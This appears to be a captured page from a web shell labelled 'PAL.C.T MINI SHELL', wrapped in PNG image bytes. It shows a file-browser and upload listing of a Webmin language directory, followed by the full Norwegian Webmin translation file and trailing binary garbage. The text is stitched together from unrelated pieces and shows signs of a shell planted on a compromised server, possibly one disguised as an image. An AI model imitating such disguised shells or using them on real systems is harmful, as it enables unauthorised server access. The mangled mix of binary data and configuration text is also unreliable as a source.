‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/lang/
upload
files >> //usr/libexec/webmin/lang/no

main_homepage=Hjemmeside
main_feedback=Bytte bruker ...
main_switch=Bytt bruker ...
main_logout=Logg ut
main_version=Versjon $1 pÄ $2 ($3)
main_title=Webmin $1 pÄ $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Du har ikke tilgang til noen Webmin moduler.
main_skill=FerdighetsnivÄ
main_readonly=(Lese modus)
main_return=GĂ„ tilbake til $1
main_unused=Ubrukte moduler
main_refreshmods=Oppfrisk moduler

link_essl=Perl-modulen Net::SSLeay som behÞves for HTTPS forbindelser er ikke installert pÄ ditt system.

category_servers=Tjenere
category_hardware=Maskinvare
category_system=System
category_webmin=Webmin
category_net=Nettverk
category_syslet=Syslets
category_cluster=Klynge
category_info=Informasjon
category_=VerktĂžy

longcategory_servers=Moduler for konfigurering av web, e-post, FTP og andre tjenere
longcategory_hardware=Moduler for skriver, disk og annen maskinvarekonfigurasjon
longcategory_system=Moduler for brukere, filsystemer, Cron jobber og andre systeminnstillinger
longcategory_webmin=Moduler for konfigurering av Webmin
longcategory_net=Moduler for konfigurering av nettverk og nettverkstjenester
longcategory_cluster=Moduler som kan vedlikeholde flere Webmin servere fra ett enkelt grensesnitt
longcategory_info=Moduler som viser informasjon om systemet ditt
longcategory_=Moduler som utfĂžre andre forskjellige oppgaver

header_webmin=Webmin Index
header_module=Modulindeks
header_help=Hjelp ...
header_config=Modulkonfigurering
header_servers=Webminservere

index=index
yes=Ja
no=Nei
save=Lagre
create=Opprett
delete=Slett
find=SĂžk
error=Feil
error_previous=forrige side
error_stack=Call Stack Trace
error_file=Fil
error_line=Linje
error_sub=Funksjon
error_stackline=I filen $1 pÄ linje $2 som kaller $3
efilewrite=Kunne ikke skrive til $1 : $2
efileclose=Kunne ikke skrive til $1 ved lukking : $2
efileopen=Kunne ikke Äpne $1 for skriving : $2
default=Standard
modify=Endre
reset=Nullstill
ok=OK
cancel=Avbryt
fail=Feilet
helpsearch=SĂžk i dok..
switch_remote_euser=Unix brukeren $1 finnes ikke.
programname=Webmin
euserdbacl=Kunne ikke hente bruker ACL : $1
euserdbacl2=Kunne ikke oppdatere bruker ACL : $1
egroupdbacl=Kunne ikke hente gruppe ACL : $1
egroupdbacl2=Kunne ikke oppdatere gruppe ACL : $1

chooser_title1=Velg fil ...
chooser_title2=Velg katalog ...
chooser_dir=Katalog for $1
chooser_ok=OK
chooser_date=Velg dato
chooser_eopen=Listing feilet : $1

users_title1=Velg brukere ...
users_title2=Velg bruker ...
users_sel=Valgte brukere
users_all=Alle brukere
users_ok=OK
users_cancel=Avbryt
users_clear=Nullstill

groups_title1=Velg grupper ...
groups_title2=Velg gruppe ...
groups_all=Alle grupper
groups_sel=Valgte grupper
groups_ok=OK
groups_cancel=Avbryt
groups_clear=Nullstill

modules_title1=Velg moduler..
modules_title2=Velg modul..
modules_sel=Valgte moduler
modules_all=Alle moduler
modules_ok=OK
modules_cancel=Avbryt
modules_clear=Nullstill

config_ecannot=Du fÄr ikke lov til Ä konfigurere denne modulen
config_title=Konfigurering
config_dir=For modul $1
config_header=Konfigurerbare innstillinger for $1
config_none=Ingen
config_eaccess=Du fÄr ingen tilgang til denne modulen
config_emodule=Modulen finnes ikke
config_err=Kunne ikke lagre konfig
config_nochange=Ikke endre
config_setto=Satt til
config_ewebmin=Parameter type 14 virker bare i Webmin

help_err=Hjelp kunne ikke vises
help_epath=Manglende eller ugyldige hjelpbane
help_efile=Kunne ikke lese hjelpfilen for $1
help_eheader=Seksjon <header> mangler
help_einclude=Det gick ikke Ă„ ta med $1
help_eif=$1 misslykket : $2
help_eexec=$1 misslykket : $2

referer_title=Sikkerhetsadvarsel
referer_warn=<b>Advarsel!</b> Webmin har oppdaget at URL $1 linken til programmet $2, ser ut til Ä vÊre utenfor Webmin serveren. Dette kan vÊre ett forsÞk pÄ Ä lure din server til Ä utfÞre ett farligt kommando.
referer_warn_unknown=<b>Advarsel!</b> Webmin har oppdaget at programmet $1 ble lenket til fra en ukjent URL, som ser ut til Ä ligge utenfor Webmin serveren. Dette kan vÊre ett forsÞk pÄ Ä lure din server til Ä utfÞre en farlig kommando.
referer_fix1=Dersom dette er en gyldig lenke, kan du tillate lenker fra denne URLen pÄ fÞlgende mÄte:<ul><li>Logg inn pÄ Webmin pÄ vanlig mÄte.<li>GÄ til <b>Webmin konfigurasjon</b> modulen.<li>Klikk pÄ ikonet Betrodde referenter.<li>Skriv inn vertsnavnet $1 inn i feltet <b>Betrodde nettsteder</b>, og klikk <b>Lagre</b>.</ul>
referer_fix2=Alternativt kan du konfigurere Webmin til Ä tillate denne lenken fra kommandolinjen ved Ä:<ul><li>Logge inn som <tt>root</tt>, og redigere filen <tt>/etc/webmin/config</tt>.<li>Legg til linjen <tt>referers=$1</tt> pÄ slutten, eller dersom en <tt>referers</tt> linje allerede finnes legger du til <tt>$1</tt> til den.<li>Lagre filen.</ul>
referer_fix3u=Forsikre deg om at nettleseren din er konfigurert til Ă„ sende referer-informasjon slik at den kan verifiseres av Webmin
referer_fix2u=Alternativt kan du konfigurere Webmin til Ă„ tillate lenker fra ukjente referenter ved Ă„ :<ul><li>Logge inn som <tt>root</tt>, og redigere filen <tt>/etc/webmin/config</tt>.<li>Finn linjen <tt>referers_none=1</tt> og endre den til <tt>referers_none=0</tt>.<li>Lagre filen.</ul>

session_header=Logg inn pÄ Webmin
session_mesg=Du mÄ oppgi brukernavn og passord for Ä logge inn pÄ Webmin tjeneren pÄ $1.
session_mesg2=Du mÄ oppgi brukernavn og passord for Ä logge inn.
session_user=Brukernavn
session_pass=Passord
session_twofactor=To-faktor token
session_login=Logg inn
session_clear=Nullstill
session_failed=Innlogging feilet. Vennligst prÞv pÄ nytt.
session_twofailed=To-faktor autentisering feilet : $1
session_logout=Du er logget ut. Bruk skjemaet nedenfor for Ä logge inn pÄ nytt.
session_timed_out=Sesjonen ble tidsavbrutt etter $1 minutter uten aktivitet.
session_save=Husk innlogging permanent?

pam_header=Logg inn pÄ Webmin
pam_mesg=Du mÄ svare pÄ spÞrsmÄlet nedenfor for Ä logge inn pÄ Webmin serveren pÄ $1.
pam_mesg2=Du mÄ svare pÄ spÞrsmÄlet nedenfor for Ä logge inn.
pam_login=Fortsett
pam_restart=Omstart

acl_root=Rot-katalog for filvelger
acl_otherdirs=Andre synlige kataloger i filvelger
acl_nodot=Skjul dot-filer i filvelger?
acl_home=Brukers hjemmekatalog
acl_uedit=Brukere synlige i bruker-velger
acl_uedit_all=Alle brukere
acl_uedit_none=Ingen brukere
acl_uedit_only=Bare brukerne
acl_uedit_except=Alle unntatt brukerne
acl_uedit_uid=Brukere med UIDer i omrÄdet
acl_uedit_group=Brukere med gruppe
acl_gedit=Grupper synlige i gruppe-velger
acl_gedit_all=Alle grupper
acl_gedit_none=Ingen grupper
acl_gedit_only=Bare gruppene
acl_gedit_except=Alle unntatt gruppene
acl_gedit_gid=Grupper med GID i omrÄdet
acl_feedback=Kan sende tilbakemelding per e-post?
acl_feedback2=Ja
acl_feedback1=Ja, men ikke med konfig-filer
acl_feedback0=Nei
acl_feedback3=Ja, med konfig-filer
acl_rpc=Kan akseptere RPC kall?
acl_rpc2=Bare for <tt>root</tt> eller <tt>admin</tt>
acl_rpc1=Ja
acl_rpc0=Nei
acl_readonly2=Bruker er i demo-modus?
acl_readonlyyes=Ja (Noen moduler kan vĂŠre utilgjengelige)
acl_negative=Gi nye modul-tilganger til bruker?
acl_fileunix=Bla gjennom filer som Unix bruker
acl_sameunix=Samme som Webmin brukernavn
acl_webminsearch=Vis Webmin sĂžke-felt?

month_1=Januar
month_2=Februar
month_3=Mars
month_4=April
month_5=Mai
month_6=Juni
month_7=Juli
month_8=August
month_9=September
month_10=Oktober
month_11=November
month_12=Desember

day_0=SĂžndag
day_1=Mandag
day_2=Tirsdag
day_3=Onsdag
day_4=Torsdag
day_5=Fredag
day_6=LĂžrdag

smonth_1=Jan
smonth_2=Feb
smonth_3=Mar
smonth_4=Apr
smonth_5=Mai
smonth_6=Jun
smonth_7=Jul
smonth_8=Aug
smonth_9=Sep
smonth_10=Okt
smonth_11=Nov
smonth_12=Des

sday_0=SĂž
sday_1=Ma
sday_2=Ti
sday_3=On
sday_4=To
sday_5=Fr
sday_6=LĂž

emodule=Tilgang nektet : Bruker $1 har ikke tilgang til Ă„ bruke $2 modulen
emodulecheck=Modulen $1 er ikke tilgjengelig pÄ ditt system
elock_tries2=Kunne ikke lÄse filen $1 etter $2 minutter. Siste feil var : $3

skill_high=Ekspert
skill_medium=Erfaren
skill_low=Nybegynner

feedback_title=Webmin tilbakemelding
feedback_desc=Her kan du rapportere feil, eller komme med forslag til Webmin utviklerne vedrÞrende problemer eller manglende funksjonalitet. NÄr du klikker Send-knappen vil opplysningene du har skrevet inn i skjemaet bli sendt til $1.
feedback_desc2=Denne tilbakemeldingen vil bli sendt til Webmins utvikler, ikke til din systemadministrator eller ISP. Vennligst skriv tilbakemeldingen din pÄ engelsk, selv om du kjÞrer Webmin pÄ et annet sprÄk.
feedback_header=Tilbakemelding detaljer
feedback_name=Ditt navn
feedback_email=DIn e-post adresse
feedback_module=Gjelder modul
feedback_all=Alle moduler
feedback_text=Beskrivelse av problem eller forslag
feedback_os=Ta med detaljer om operativsystem i meldingen?
feedback_osdesc=Dersom du velger denne innstillingen vil meldingen inneholde informasjon om ditt operativsystem (navn og versjon).
feedback_config=Ta med modulkonfigurasjon i meldingen?
feedback_configdesc=Dersom du velger denne innstillingen vil meldingen inneholde konfigurasjon for modulen meldingen gjelder og innholdet av alle konfig.filer som modulen benytter. For eksempel, hvis tilbakemeldingen gjaldt modulen <i>Brukere og grupper</i>, ville dine <tt>/etc/passwd</tt> og <tt>/etc/shadow</tt> filer bli lagt ved meldingen.
feedback_attach=Ekstra filer som skal vedlegges
feedback_send=Send tilbakemelding
feedback_mailserver=Send via SMTP tjener
feedback_mailserver_def=Lokalt sendmail program
feedback_err=Kunne ikke sende tilbakemelding
feedback_emodule=Du valgte Ă„ ta med modulkonfigurasjon i meldingen, men du har ikke valgt noen moduler.
feedback_emodule2=Valgt modul finnes ikke
feedback_econfig=Du har ikke full tilgang til den valgte modulen.
feedback_via=Sendt tilbakemelding til $1 via SMTP tjener $2
feedback_prog=Sendt tilbakemelding til $1 vha. sendmail program $2
feedback_esend=Kunne ikke sende tilbakemelding via sendmail program eller lokal SMTP tjener.
feedback_to=Send tilbakemelding til adressene
feedback_enoto=Det var ikke oppgitt noen e-post adresser Ă„ sende tilbakemelding til
feedback_ecannot=Du har ikke lov til Ă„ sende tilbakemelding
feedback_ecannot2=Du har ikke lov til Ă„ sende feedback som inneholder konfig-filer

progress_size2=Laster ned $1 ($2) ..
progress_nosize=Laster ned $1 ..
progress_datan=Mottatt $1 ($2 %)
progress_data2n=Mottatt $1
progress_done=.. nedlasting fullfĂžrt.
progress_incache=Funnet $1 i cache ..

readparse_cdheader=Manglende Content-Disposition header
readparse_enc=Forventet form-data tegnkoding, men mottok normal tegnkoding
readparse_max=Data overskred maksimumsstÞrrelse pÄ $1 bytes

password_expired=Passordet ditt er utlÞpt, og du mÄ velge et nytt.
password_temp=Du mÄ velge et nytt passord til Ä erstatte din midlertidige login.
password_header=Velg nytt passord
password_user=Brukernavn
password_old=Gjeldende passord
password_new1=Nytt passord
password_new2=Gjenta nytt passord
password_ok=Endre
password_clear=Nullstill
password_done=Passordet ditt er endret. Du kan nÄ <a href='$1'>logge inn pÄ nytt</a> med det nye passordet.
password_err=Kunne ikke endre passord
password_euser=Brukernavnet ditt ble ikke funnet i passord filen!
password_eold=Gjeldende passord er feil
password_enew1=Du skrev ikke inn noe nytt passord
password_enew2=De nye passordene dine stemmer ikke overens
password_epam=PAM feil : $1
password_emodpam=Perl-modulen Authen::PAM som er nĂždvendig for Ă„ utfĂžre passordendringer, er ikke installert!
password_enewpass=Nytt passord er ikke tillatt : $1

ui_mandatory=Dette feltet er obligatorisk
ui_checkmandatory=Ingenting var valgt
ui_errors=Flere feil funnet :
ui_nothing=Ingenting oppgitt
ui_searchcol=Finn rader hvor
ui_searchfor=Inneholder teksten
ui_searchok=SĂžk
ui_selall=Velg alt.
ui_selinv=Inverter valg.
ui_edate=Ugyldig dato
ui_etime=Ugyldig tid
ui_paging=Viser radene $1 til $2 av $3
ui_rowlabel=$2 i rad $1 :
ui_filterbox=Type til filter..

header_statusmsg=$1 logget inn pÄ $2 $3 $4 ($5)

uptracker_title=Laster opp fil
uptracker_file=Filnavn
uptracker_size=StĂžrrelse
uptracker_pc=Fremdrift
uptracker_eid=Ingen opplastings ID angitt
uptracker_eid2=Opplastings ID er ugyldig!
uptracker_of=$1 av $2

wsearch_title=SĂžk $1
wsearch_modt=Modul
wsearch_mtitle=Modul navn
wsearch_what=Matchende side
wsearch_type=Match type
wsearch_mod=$1 modul
wsearch_config_webmin=Webmin modul konfig
wsearch_config_usermin=Usermin innstillinger
wsearch_help=Hjelpeside
wsearch_inmod=I $1
wsearch_text=Brukergrensesnitt tekst
wsearch_esearch=Du oppga ikke noe Ă„ sĂžke etter.
wsearch_enone=Ingen Webmin moduler eller sider som stemmer med $1 ble funnet.
wsearch_on=(PĂ„ $1)
wsearch_helpfor=Hjelp for <i>$1</i>
wsearch_htext=Matchende tekst
wsearch_htype=Kilde
wsearch_hcgis=Referanser
wsearch_type_mod=Modul navn
wsearch_type_config=Konfigurasjon
wsearch_type_help=Hjelpe-side
wsearch_type_text=Brukergrensesnitt
wsearch_type_dir=Modul URL
wsearch_hmod=Modul
wsearch_moddir=URL sti /$1/
wsearch_searching=SĂžker etter $1 . .
wsearch_found=fant $1 resulatater :

sql_emysqldriver=Kunne ikke laste MySQL DBI driver
sql_emysqlconnect=Kunne ikke koble til MySQL database : $1
sql_epostgresqldriver=Kunne ikke laste PostgreSQL DBI driver
sql_epostgresqlconnect=Kunne ikke koble til PostgreSQL database : $1
sql_eldapdriver=Kunne ikke laste LDAP perl modul
sql_eldapconnect=Kunne ikke koble til LDAP tjener $1
sql_eldaptls=Kunne ikke starte TLS kryptering for LDAP : $1
sql_eldaplogin=Kunne ikke logge inn pÄ LDAP tjener som $1 : $2

log_email_subject=Webmin handling i  $1
log_email_global=Webmin global handling
log_email_desc=Denne meldingen ble sendt av Webmin som svar pÄ en bruker-handling.
log_email_mod=Webmin modul: $1
log_email_moddesc=Modul tittel: $1
log_email_time=Handling utfĂžrt: $1
log_email_system=UtfÞrt pÄ system: $1
log_email_user=UtfĂžrt av bruker: $1
log_email_script=Webmin script: $1
log_email_session=Sesjon ID: $1
log_email_remote=Klient adresse: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=TB
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KiB
nice_size_b=bytes

langauto_include=Ta med maskinoversettelser
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚